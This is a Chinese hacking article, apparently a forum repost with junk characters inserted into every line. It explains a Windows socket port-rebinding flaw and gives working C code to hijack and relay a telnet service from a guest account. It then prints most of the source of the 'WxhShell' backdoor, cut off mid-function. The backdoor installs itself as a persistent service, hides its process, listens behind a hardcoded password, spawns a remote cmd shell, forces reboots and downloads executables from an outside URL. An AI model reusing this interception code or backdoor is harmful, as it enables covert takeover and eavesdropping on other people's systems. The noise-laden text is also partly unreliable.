在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
8zv=@`4@G s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
34ij5bko_) g.![>?2$8 saddr.sin_family = AF_INET;
acd8?>%[ <T?H
H$es) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
P%`|Tu!B w E^6DNh bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
jiS|ara" Vsh7>|@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s ~'><ioh H'N$Vv2q 这意味着什么?意味着可以进行如下的攻击:
6[g~p< 8n} sHC4iMIw 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
6E~T$^Q} z8W@N8IqC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
~Q7)6% u2=gG. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
QJ{to% .kO!8Q-;% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
%n<u- {` r83chR9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Q"UWh~ ^6*LuXPv 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
HZ$q`e gG;d+s1 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
6- H81y3 V\k?$} #include
L`E^BuP/ #include
d5?"GFy #include
S}zh0`+d'Z #include
=/xTUI4 DWORD WINAPI ClientThread(LPVOID lpParam);
{oIv%U9 int main()
a&yIH;- {
fJ"#c<n WORD wVersionRequested;
-oGJPl {r DWORD ret;
2w>lnJ- WSADATA wsaData;
TE+d? BOOL val;
UO%VuC5B SOCKADDR_IN saddr;
dxm_AUM SOCKADDR_IN scaddr;
1QHCX*_ int err;
{4u8~whLp SOCKET s;
d0(GE4+/ SOCKET sc;
7bBOV(/s int caddsize;
56!>}!8! HANDLE mt;
-]=-IiC# DWORD tid;
XI6LPA0% wVersionRequested = MAKEWORD( 2, 2 );
>?b<)Q*< err = WSAStartup( wVersionRequested, &wsaData );
CRs gR) if ( err != 0 ) {
F$ a?} } printf("error!WSAStartup failed!\n");
UO-<~DgH return -1;
FQNw89g }
0:K4, saddr.sin_family = AF_INET;
=X6+}YQ" 2?; =TJo$ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
HA}pr6Z )*&I|L<1 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#@h3#IC saddr.sin_port = htons(23);
q3.L6M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
,BuN]9# {
-!]Ie4" printf("error!socket failed!\n");
QW~-+BD return -1;
*ml&}9 }
J7.}2 val = TRUE;
*h ~Y=#`8* //SO_REUSEADDR选项就是可以实现端口重绑定的
_;*|"e@^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=}@m$g {
}hT1@I
printf("error!setsockopt failed!\n");
xW84g08_, return -1;
TF %8pIg>Z }
:UuPy|> //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
#L\t)W //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
rVLUT //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
.f'iod- 5gpqN)|)[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
/$OX'L&b {
Kgi| 7w ret=GetLastError();
@ucN|r}=R printf("error!bind failed!\n");
pa0'\ return -1;
F +e
J9 }
6MC*2}W listen(s,2);
ag6hhkjA while(1)
~;/\l=Xl {
{.7ve<K caddsize = sizeof(scaddr);
Ln;jB&t //接受连接请求
g*9jPwdG sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$"Oy } if(sc!=INVALID_SOCKET)
\R&4Nu2F {
ns.[PJ"8 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
"P:kZ=M
Q if(mt==NULL)
s^_E'j$ {
YM9oVF- printf("Thread Creat Failed!\n");
A[juzOn\ break;
h3^&,U }
Gmcx#?|Tx }
Is6<3eQ\x CloseHandle(mt);
l6.#s3I[' }
Zp|LCE" closesocket(s);
f[)_=T+ WSACleanup();
s)]Z*#ZZ return 0;
_q([k_4h }
)Qve[O DWORD WINAPI ClientThread(LPVOID lpParam)
W-Cf#o {
EXz5Rue
LV SOCKET ss = (SOCKET)lpParam;
AR\?bB~`c SOCKET sc;
LX<c(i unsigned char buf[4096];
ZIAiVq2) SOCKADDR_IN saddr;
g0.D36 long num;
YBgHX [q DWORD val;
QjfQoT F DWORD ret;
F<q3{}1zR //如果是隐藏端口应用的话,可以在此处加一些判断
S EY //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Fi{~UOZg saddr.sin_family = AF_INET;
0|X!Uw-Q%_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
\\jB@O saddr.sin_port = htons(23);
%l@Q&)f8e if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
sY,!Ir`/` {
@]f"X> printf("error!socket failed!\n");
.
FT*K[+ih return -1;
n<:/ X tE }
?r@euZ& val = 100;
ypXKw7f( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
)>,b>7 {
!l'Az3'J| ret = GetLastError();
F2yM2Ldx return -1;
ZNPzQ:I@ }
x_Ki5~w5
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:=04_5 z {
?,r bD1 ret = GetLastError();
"fLGXbNQ return -1;
*qg9~/ }
/qF7^9LtaY if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
O?@1</r^ {
=y7]9SOq printf("error!socket connect failed!\n");
3Z'{#<1>^; closesocket(sc);
G?QFF6)}! closesocket(ss);
~c!zTe return -1;
S>7Zq5* }
my")/e while(1)
uAyj##H {
Pi6C1uY6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
|bDN~c:/ //如果是嗅探内容的话,可以再此处进行内容分析和记录
K G~](4JE( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
O#A1)~ num = recv(ss,buf,4096,0);
<W,k$|w if(num>0)
w;Qo9=- send(sc,buf,num,0);
L}A R{ else if(num==0)
q9qmz[ break;
<C6/R]x# num = recv(sc,buf,4096,0);
lg;Y}?P if(num>0)
`<t{NJ&f send(ss,buf,num,0);
e%G-+6 else if(num==0)
~0?p @8 break;
S$]:3 }
OR a!84L closesocket(ss);
&F\J%#{ closesocket(sc);
6f=/vRAh$ return 0 ;
p'k stiB }
~PvW+UMLk ,@!8jar@w}
wB5zp ==========================================================
7V0:^Jov K_`*ZV{r 下边附上一个代码,,WXhSHELL
w;QDQ
fx0 P0Na<)\'Y! ==========================================================
!N,Z3p>Q 5 LX3. #include "stdafx.h"
wRPBJ-C) UF<|1;' #include <stdio.h>
/db?ltb #include <string.h>
~1Tz[\H#R #include <windows.h>
T-&CAD3 ,O #include <winsock2.h>
fokT)nf~^8 #include <winsvc.h>
|k&.1NkZ #include <urlmon.h>
-7ct+3"J /_,~dt #pragma comment (lib, "Ws2_32.lib")
6Ep ns s #pragma comment (lib, "urlmon.lib")
=[{Pw8[' q22cp&gmX #define MAX_USER 100 // 最大客户端连接数
kRiWNEw #define BUF_SOCK 200 // sock buffer
}(E6:h;}~ #define KEY_BUFF 255 // 输入 buffer
T<54qe4`p a\}|ikiE #define REBOOT 0 // 重启
e%bERds #define SHUTDOWN 1 // 关机
CR934TE+ w#F+rh3 #define DEF_PORT 5000 // 监听端口
|@nvg>mu e+y< a~N #define REG_LEN 16 // 注册表键长度
jT::o #define SVC_LEN 80 // NT服务名长度
(6+6]`c$ 8fM}UZI // 从dll定义API
1>%SSQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
S$+ v? Y`) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
Ynz^M{9)K typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
~n[LL)v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'dWJ#9C qoZ* sV // wxhshell配置信息
X""'}X|O struct WSCFG {
1A E/ILGo int ws_port; // 监听端口
TP{a*ke^5, char ws_passstr[REG_LEN]; // 口令
=_":Z!_ int ws_autoins; // 安装标记, 1=yes 0=no
V2 VsJ char ws_regname[REG_LEN]; // 注册表键名
CHeG{l)<r char ws_svcname[REG_LEN]; // 服务名
}0 <x4|= char ws_svcdisp[SVC_LEN]; // 服务显示名
sTG+c E char ws_svcdesc[SVC_LEN]; // 服务描述信息
2zFdKs, char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Qmn5umd=?\ int ws_downexe; // 下载执行标记, 1=yes 0=no
WP]<\_r2 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
HAO/r`7* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
"rX=G= Ka_UVKwMro };
G)#
,39P R1Pnj // default Wxhshell configuration
S_bay8L1 struct WSCFG wscfg={DEF_PORT,
@0
-B&w "xuhuanlingzhe",
-m|b2g}"3 1,
]`.
d%Vx "Wxhshell",
Z}NAH`V`:+ "Wxhshell",
!'{j"tv "WxhShell Service",
rB4#}+Uq "Wrsky Windows CmdShell Service",
.qK=lHxT "Please Input Your Password: ",
?>%u[g 1,
k5/nAaiVE "
http://www.wrsky.com/wxhshell.exe",
%+I(S`} "Wxhshell.exe"
k2t?e:)3zr };
w:Lu _23sIUN c3 // 消息定义模块
;*Rajq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
NWAF4i&$ char *msg_ws_prompt="\n\r? for help\n\r#>";
Xx'>5d> char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
y5Pw*?kn char *msg_ws_ext="\n\rExit.";
';ZJuJ. char *msg_ws_end="\n\rQuit.";
WN?T*bz2 char *msg_ws_boot="\n\rReboot...";
fwq|8^S@ char *msg_ws_poff="\n\rShutdown...";
^mJvB[ u| char *msg_ws_down="\n\rSave to ";
e< CPaun "^XN"SUw char *msg_ws_err="\n\rErr!";
Q}=RG//0* char *msg_ws_ok="\n\rOK!";
3Aj_,&X.@( c%Gz{':+ char ExeFile[MAX_PATH];
eGTK^p int nUser = 0;
8PEOi HANDLE handles[MAX_USER];
gr fF\_[: int OsIsNt;
1)YFEU&] J:(Shd'4D
SERVICE_STATUS serviceStatus;
8^R>y SERVICE_STATUS_HANDLE hServiceStatusHandle;
8m1zL[.8g z=K5~nU // 函数声明
i*^K)SI8 int Install(void);
^m+W int Uninstall(void);
,gOQIS56 int DownloadFile(char *sURL, SOCKET wsh);
3FXMM&w int Boot(int flag);
gx6&'${=# void HideProc(void);
`+f\Q2]Z int GetOsVer(void);
.|aSGvE int Wxhshell(SOCKET wsl);
aDOH3Ri0K! void TalkWithClient(void *cs);
1|nB\xgu int CmdShell(SOCKET sock);
E{fnh50^Q. int StartFromService(void);
)I>rC%2P int StartWxhshell(LPSTR lpCmdLine);
)/U1; O #!5Nbe VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
e`~q;?: VOID WINAPI NTServiceHandler( DWORD fdwControl );
qXhrK
/ OK)0no=OAK // 数据结构和表定义
X,fTzkGj SERVICE_TABLE_ENTRY DispatchTable[] =
5o3_x ~e {
L|Ydd!m {wscfg.ws_svcname, NTServiceMain},
sN g"JQ {NULL, NULL}
*C:+N> };
A;|DQR() uLCU3nI // 自我安装
u!-eP7;7 int Install(void)
0*AlLwO {
|M?HdxPa char svExeFile[MAX_PATH];
@\h(s#sn HKEY key;
Ue8D:CM strcpy(svExeFile,ExeFile);
}O>Zu[8a ;VuB8cnL` // 如果是win9x系统,修改注册表设为自启动
os.x|R]_ if(!OsIsNt) {
v8@dvT< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
@i68%6H`? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
YiJu48J RegCloseKey(key);
vXvV5Oq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
BdKtpje RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
wMUnZHd{| RegCloseKey(key);
C\; 8l}t return 0;
Y{yr-E #~M }
2G-?
P"4l@ }
1CM1u+<iZ
}
Sy'>JHx else {
dJ!o/y6 -Fdi,\e // 如果是NT以上系统,安装为系统服务
3?XLHMxW SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
4eEs_R if (schSCManager!=0)
&\H5*A.HkA {
]03ZrZ!
PM SC_HANDLE schService = CreateService
cR&xl^BJ (
etoE$2c schSCManager,
iN*>Z(b" wscfg.ws_svcname,
PGKXzp' wscfg.ws_svcdisp,
)2$_:Ek SERVICE_ALL_ACCESS,
GVM#Xl}w9 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5ZcnZlOOQ SERVICE_AUTO_START,
2o$8CR; SERVICE_ERROR_NORMAL,
(lnQ!4LK svExeFile,
UBVb#FNF NULL,
Ueeay^zN NULL,
x-pMT3m\D# NULL,
%_[-[t3 NULL,
?>y-5B[K/( NULL
]xG8vy );
yq}{6IyZ^ if (schService!=0)
RI(uG-Y {
#'8PFw\zw CloseServiceHandle(schService);
SIlg CloseServiceHandle(schSCManager);
BQU5[8l strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
"(NHA+s/ strcat(svExeFile,wscfg.ws_svcname);
-!0LIr:" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
vxeT[/6i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`Ek !;u> RegCloseKey(key);
r$F]e]Ic\ return 0;
p.9v<I%0 }
y]l"u=$Tr{ }
;Kf|a}m - CloseServiceHandle(schSCManager);
%RN-J*s] }
ay_D.gxz }
#H[4?4r _PM<25Y,@ return 1;
nnG2z@$- }
a~*V hwzUCh 5! // 自我卸载
W/>?1+r.Z int Uninstall(void)
iy]}1((hR {
$3TTHS o HKEY key;
!I[n|r " 7fay:_ if(!OsIsNt) {
$vBU}~l7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
JF*g!sV% RegDeleteValue(key,wscfg.ws_regname);
>, E$bm2 RegCloseKey(key);
9+QrTO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6p"c^ RegDeleteValue(key,wscfg.ws_regname);
hU
7fZl%yl RegCloseKey(key);
S=}~I return 0;
9oP{Al }
*d@Hnu"q }
/[ ? F1Q }
EaD@clJS else {
=%\6}xPEl< EKPTDKut SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
qDM[7q3. if (schSCManager!=0)
+q/h:q.TV {
Qu,k SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
jw[BtRW if (schService!=0)
*Zi%Q[0Me {
p'uz2/g if(DeleteService(schService)!=0) {
-o_TC CloseServiceHandle(schService);
tb0E?&M CloseServiceHandle(schSCManager);
CFm1c1%Hg return 0;
HY4E }
Pp_3 nyQ CloseServiceHandle(schService);
nb_^3K]r }
2<G1'7) CloseServiceHandle(schSCManager);
q|X4[E|{Q }
qffSq](D. }
f_!`~`04 Tr0V6TS7 return 1;
&H&P)Px*_ }
k|3(dXLG o#P3lz // 从指定url下载文件
{p|%hhTK% int DownloadFile(char *sURL, SOCKET wsh)
/:`
i%E {
WKl' HRESULT hr;
kqW<e[ char seps[]= "/";
^<\} Y char *token;
q#*6 )B char *file;
*+j{9LK char myURL[MAX_PATH];
2A}u qaF char myFILE[MAX_PATH];
=>0M3 Qh{ S<3!oDBs strcpy(myURL,sURL);
wDSUMB<? token=strtok(myURL,seps);
m"(d%N7 while(token!=NULL)
{[5L96RH%
{
SP*JleQN file=token;
'ZH<g8:=@ token=strtok(NULL,seps);
iM|"H.. }
=)- Q?1q $O e 58 GetCurrentDirectory(MAX_PATH,myFILE);
%s2"W~ strcat(myFILE, "\\");
;Uqx&5P} strcat(myFILE, file);
"qTC(F9N$. send(wsh,myFILE,strlen(myFILE),0);
[A9,!YY send(wsh,"...",3,0);
46Q;F hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
@k+G
Cf if(hr==S_OK)
~}IvY?!; return 0;
SxZ^ "\H else
%<C
G|]W return 1;
F|Dz]ar pOVghllO }
zrU$SWU ^wF@6e7/& // 系统电源模块
Q^Z<RA(C int Boot(int flag)
?>.g;3E$ {
KTK6#[8A HANDLE hToken;
V2s}<uG TOKEN_PRIVILEGES tkp;
gQh Ccv reM if(OsIsNt) {
cF&h$4- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
UW/3{2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ac!&j=ZE tkp.PrivilegeCount = 1;
+%#MrNM' tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\8*,&ak% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,AbKxT
f2 if(flag==REBOOT) {
:@>br+S if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Dd#
SUQ return 0;
JXY!c\, }
`H2F0{\og else {
CoUd16*"JM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
}1]!#yMfq return 0;
OgXZ-<' }
oA;jy }
H@2v<e@ else {
V1`5D7Z if(flag==REBOOT) {
#HM\a if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
I4<{R return 0;
/s8%02S }
+/3
Z else {
Kcw1uLb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
;V"yMWjc return 0;
T]nR=uK6LL }
f_4S>C$ }
hdf8U eY4`k return 1;
YoF\MT]W }
1>@]@ST[: 38U5^` // win9x进程隐藏模块
2u~c/JryN void HideProc(void)
Xrj(,| {
=tf@4_ [)H,zpl HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Vgqvvq<S if ( hKernel != NULL )
[^U; {
pKxX{i1l pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
y/@;c)1b9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
sw$R2K{y FreeLibrary(hKernel);
!k:zLjtp }
@vdc)vN[/ UL)" return;
8)W?la8'p }
5xMA~I 0c V<HOSB7 // 获取操作系统版本
AU\xNF3 int GetOsVer(void)
t*Vao {
{(M&-~Yh OSVERSIONINFO winfo;
Lz9$,Y[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
~Q_)>|R2 GetVersionEx(&winfo);
P e$^Mo.q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6`DwEs?Y{ return 1;
r;cI}' else
m6_~`)R8 return 0;
k+WO &g*| }
uv|eVT3jNs "$~}'`(] // 客户端句柄模块
ReI=4Jq11 int Wxhshell(SOCKET wsl)
%Ye)8+- {
ot@|blVC8 SOCKET wsh;
3@PUg(M struct sockaddr_in client;
+p9LE4g7Q DWORD myID;
U^[cYTG #.E\,N' while(nUser<MAX_USER)
24H^hN9 {
|&elZ}8 int nSize=sizeof(client);
]k'#g Z$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#MhNdH# if(wsh==INVALID_SOCKET) return 1;
lBlSNDs |t4Gz1"q=8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Tn4W\?R if(handles[nUser]==0)
$z2xZqe closesocket(wsh);
"ib K1}- else
lL:KaQ 0E nUser++;
A~6%,q@^jh }
Qb!!J4|! WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
z'?7]C2b 5T$}Oy1 return 0;
saGRP}7? }
-TzI>Fz hsTFAfa' // 关闭 socket
)myf)"l5 void CloseIt(SOCKET wsh)
l-<3{! {
22)0zY%\ closesocket(wsh);
D'7A2 f nUser--;
qhV,u;\. ExitThread(0);
<X:Ud&\ }
E
fP>O 9GMH*=3[= // 客户端请求句柄
hH<6E void TalkWithClient(void *cs)
94~"U5oQ: {
4*0:bhhhf_ H!u nIy| SOCKET wsh=(SOCKET)cs;
M|/oFV char pwd[SVC_LEN];
Np.no$_ char cmd[KEY_BUFF];
ZB~l2 char chr[1];
)ZT6:) int i,j;
=dgo!k Q^$ghZ6V while (nUser < MAX_USER) {
ZhhI@_sz zW%>"y if(wscfg.ws_passstr) {
7))y}N:p if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%/UV_@x& //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
EX[B/YH //ZeroMemory(pwd,KEY_BUFF);
4=u+ozCG i=0;
N@k3$+ls while(i<SVC_LEN) {
d>lt =E&b= // 设置超时
zWy
,Om8P fd_set FdRead;
If~95fy~c struct timeval TimeOut;
XOu+&wOu FD_ZERO(&FdRead);
CTl(_g FD_SET(wsh,&FdRead);
kcLj Kp TimeOut.tv_sec=8;
7]p>XAb TimeOut.tv_usec=0;
_^_5K(Uq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
<e;jWK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
dv"as4~% f'1(y\_fb if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
c*N50%=4 pwd
=chr[0]; {I4%
if(chr[0]==0xd || chr[0]==0xa) { @)o0GHNP
pwd=0; rpUy$qrRc
break; mbF(tSy
} rei
8LW
i++; dX_!0E[c
} Wt>J`
x|.v{tQa
// 如果是非法用户,关闭 socket mfZ)^X
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]kRI}Om2
} 8$\Za,)g
6tOCZ'f
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Dq?E\
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fZ[kh{|
y&1%1 #8F
while(1) { i][f#e4
F4GP7]
ZeroMemory(cmd,KEY_BUFF); Dt
W*n1Bt
`&7mHa61
// 自动支持客户端 telnet标准 #"::
'?,
j=0; fi=0{
while(j<KEY_BUFF) { DeH0k[o
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^uia`sOP4
cmd[j]=chr[0]; 9*4 .
if(chr[0]==0xa || chr[0]==0xd) { #S%4?
cmd[j]=0; X` ATH^S
break; uaiz*Im
} <x0)7xX
j++; tE[H8
} O]t\B*%}
%Ys$@dB
// 下载文件 `AR"!X
if(strstr(cmd,"http://")) { I6+2>CUGo
send(wsh,msg_ws_down,strlen(msg_ws_down),0);
5Q`RTn%
if(DownloadFile(cmd,wsh)) Hk@r5<{
send(wsh,msg_ws_err,strlen(msg_ws_err),0); XlVc\?
else >W
r$Y{
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eI^gV'UK
} 0mTEim
else { jO=*:{#x
F$i$a b
switch(cmd[0]) { R<|ejw
R\*)@[y9l
// 帮助 s2^B(wP
case '?': { sm1;MF]/u
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^00{Hd6
break; Jn=42Q:>
} mwIk^Sz]@
// 安装 TtPr)F|
case 'i': { #:#Dz.$L
if(Install()) Tp?-*K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); kae2 73"
else ?mMW*ico
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :s"2Da3B
break; wZjlHe
} fp{G|.SA
// 卸载 8.yCA
case 'r': { c_#*mA"+
if(Uninstall()) Rv<L#!;
t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^2EhlK^)
else }%$OU = T
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?KB@Zm+#~
break; _42Z={pZZq
} F}D3,&9N
// 显示 wxhshell 所在路径 )7dEi+v52
case 'p': { xdZ<|
vMR
char svExeFile[MAX_PATH]; mZ7B<F[qV
strcpy(svExeFile,"\n\r"); r2nBWA3
strcat(svExeFile,ExeFile); }#6xFTH
send(wsh,svExeFile,strlen(svExeFile),0); Q4?EZ_O
break; 9OyN i
} Q.A \U>AgV
// 重启 0 _A23.Y
case 'b': { hU"F;4p
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o\4CoeG
if(Boot(REBOOT)) BxdX WO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?ok)>P
else { w>[T&0-N
closesocket(wsh); >
H BJk:
ExitThread(0); s]Gd-j
} .*Vkua
break; B`{mdjMy
} DtI$9`~
// 关机 `*aBRwvK~
case 'd': { Lc]1$
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2JZdw
if(Boot(SHUTDOWN)) fQU{SjG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]=8eV\
else { v L}T~_=3
closesocket(wsh); tuLH}tkNY
ExitThread(0); u1^\MVO8
} ]JdJe6`Mc
break; ,?(ciO)
} `\N]wlB2/b
// 获取shell Xwq]f:@V
case 's': { j;\[pg MR/
CmdShell(wsh); d>|;f
closesocket(wsh); q@l(Qol
ExitThread(0); m[:K"lZ
]2
break; uv]{1S{tb
} s8vKKvs`9
// 退出 _Yq@ FOu
case 'x': { u,o1{%O
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _ie.| 4k
CloseIt(wsh); *5D3vB*S
break; xE1'&!4O
} -Sz_mr
// 离开 n@
[
case 'q': { AnMV <
send(wsh,msg_ws_end,strlen(msg_ws_end),0); dZ]Rqr
_!
closesocket(wsh); %dW%o{
WSACleanup(); |4mVT&63(
exit(1); B!;+_%P76
break; %;|0
} h5GU9M
} zvO:"w}
} P:k+ y$
<a|@t@R
// 提示信息 8lP6-VA
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L:@fP~Erh
} }y6q\#G
} #U ASH&
bL1m'^r
return; VagT_D
} 66\jV6eH7L
+Gh7^v|"
// shell模块句柄 Qxa{UQh}9
int CmdShell(SOCKET sock) D4Etl5k
{ (=c1
STARTUPINFO si; N3%*7{X
9
ZeroMemory(&si,sizeof(si)); q0./O|Dj
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .H~YI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7\Fs=\2l+'
PROCESS_INFORMATION ProcessInfo; 0L#/lDNk
char cmdline[]="cmd"; 2K{6iw"h
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uMmXs%9T
return 0; <f>akT,W
} M%`\P\A
E[g*O5
// 自身启动模式 QlEd6^&
int StartFromService(void) 38IMxd9v
{ &<]<a_pw
typedef struct :iPym}CE
{ )9L/sKz
DWORD ExitStatus; 2k5/SV
X
DWORD PebBaseAddress; $yu?.b
9H#
DWORD AffinityMask; ub K7B |p
